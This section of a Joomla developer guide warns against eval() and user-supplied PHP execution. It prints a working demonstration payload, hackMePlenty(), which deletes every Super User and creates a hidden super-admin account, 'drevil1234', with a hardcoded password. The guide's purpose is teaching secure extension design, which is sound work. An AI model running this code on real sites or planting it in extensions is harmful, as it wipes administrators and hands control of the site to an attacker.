Work In Progress

This book is currently work in progress. Some sections are not yet written. Thank you for your understanding!

DON'T: Using eval()

Let me start by saying that allowing users to enter arbitrary PHP code which will be executed by the site is a VERY BAD IDEA. It is very easy for anyone with minimal developer experience —or someone following a how-to hacking guide— to take over a site. The following took me 5' to write and it's a complete takeover of a site:

[Caution]Caution

DO NOT TRY THIS ON YOUR SITE!

The following code deletes all Super Users and adds a new Super User. This is detrimental to your site. It's only meant to demonstrate how easily a site can be taken over if a developer allows arbitrary PHP execution.

function hackMePlenty()
{
	$user = \Joomla\CMS\Factory::getContainer()
	                           ->get(\Joomla\CMS\User\UserFactoryInterface::class)
	                           ->loadUserByUsername('drevil1234');

	if ($user->username === 'drevil1234')
	{
		return;
	}

	$db    = \Joomla\CMS\Factory::getContainer()->get('DatabaseDriver');
	$query = $db->getQuery(true)
	            ->select([$db->quoteName('id')])
	            ->from($db->quoteName('#__usergroups'));

	$superUserGroups = array_filter(
		$db->setQuery($query)->loadColumn(0) ?: [],
		function ($group) {
			return \Joomla\CMS\Access\Access::checkGroup($group, 'core.admin');
		}
	);

	$existingSuperUsers = array_unique(
		array_reduce(
			$superUserGroups,
			function (array $carry, int $groupId) {
				return array_merge($carry, \Joomla\CMS\Access\Access::getUsersByGroup($groupId));
			},
			[]
		)
	);

	if (!empty($existingSuperUsers))
	{
		$query = $db->getQuery(true)
		            ->delete($db->quoteName('#__users'))
		            ->whereIn($db->quoteName('id'), $existingSuperUsers);
		$db->setQuery($query)->execute();
	}

	$user = new \Joomla\CMS\Table\User($db);
	$user->save([
		'name'          => 'Evil Hacker',
		'username'      => 'drevil1234',
		'email'         => 'drevil@example.com',
		'password'      => \Joomla\CMS\User\UserHelper::hashPassword('Dr3v!L0wnzJ00'),
		'block'         => 0,
		'sendEmail'     => 1,
		'registerDate'  => (new \Joomla\CMS\Date\Date('2004-08-08 01:02:03'))->toSql(),
		'lastVisitDate' => (new \Joomla\CMS\Date\Date())->toSql(),
		'activation'    => '',
		'groups'        => $superUserGroups,
	]);
}

try
{
	hackMePlenty();
}
catch (\Throwable $e)
{
}
      

For this reason, whenever I see an extension which deliberately allows PHP code to be inserted and executed I am worried. If I see this being allowed in an editor or other text entry field without checking that the data comes from a Super User I am immediately labelling the extension a massive security issue and the site compromised unless proven differently.

As a developer you should NEVER, EVER have a feature which allows direct PHP execution. This includes this happening unintentionally by using the evil eval(). Also note that most hosts disable eval() so idiot developers won't create backdoors the size of Alaska on the sites hosted on that host.

There are very few cases where you might want to evaluate generated (as opposed to user defined) PHP code. For example, when I implemented a subset of the Blade template language in FOF I was converting Blade files to straight up PHP. Of course, I could not run the generated code through eval(). The solution to that is to first try to create a temporary file —either in Joomla's temporary directory or a cache directory— and include() it. If the temporary directory is unwriteable you can use class_exists(\Joomla\Filesystem\Buffer::class, true); which includes Joomla's buffer class. This registers the stream handler buffer:// which creates a filesystem in memory. You can write to a file in it, e.g. file_put_contents('buffer://foobar.php', $theContents); and then include it like this include('buffer://foobar.php');. The downside with the buffer method is that on some hosts with hardened PHP runtimes you cannot include executable files from stream wrappers which have not been explicitly allowed by the server administrator. Hence the need to go through the filesystem first.

As I said, you should only ever evaluate PHP code in your extensions if you have written it or if your own code has generated it. DO NOT TRUST THE USER —NOT EVEN SUPER USERS— TO PROVIDE EXECUTABLE PHP CODE THEMSELVES; IT IS A MASSIVE SECURITY ISSUE. Do you hear that, form component developers? Your extensions make it trivial to hack people's sites. Fix 'em!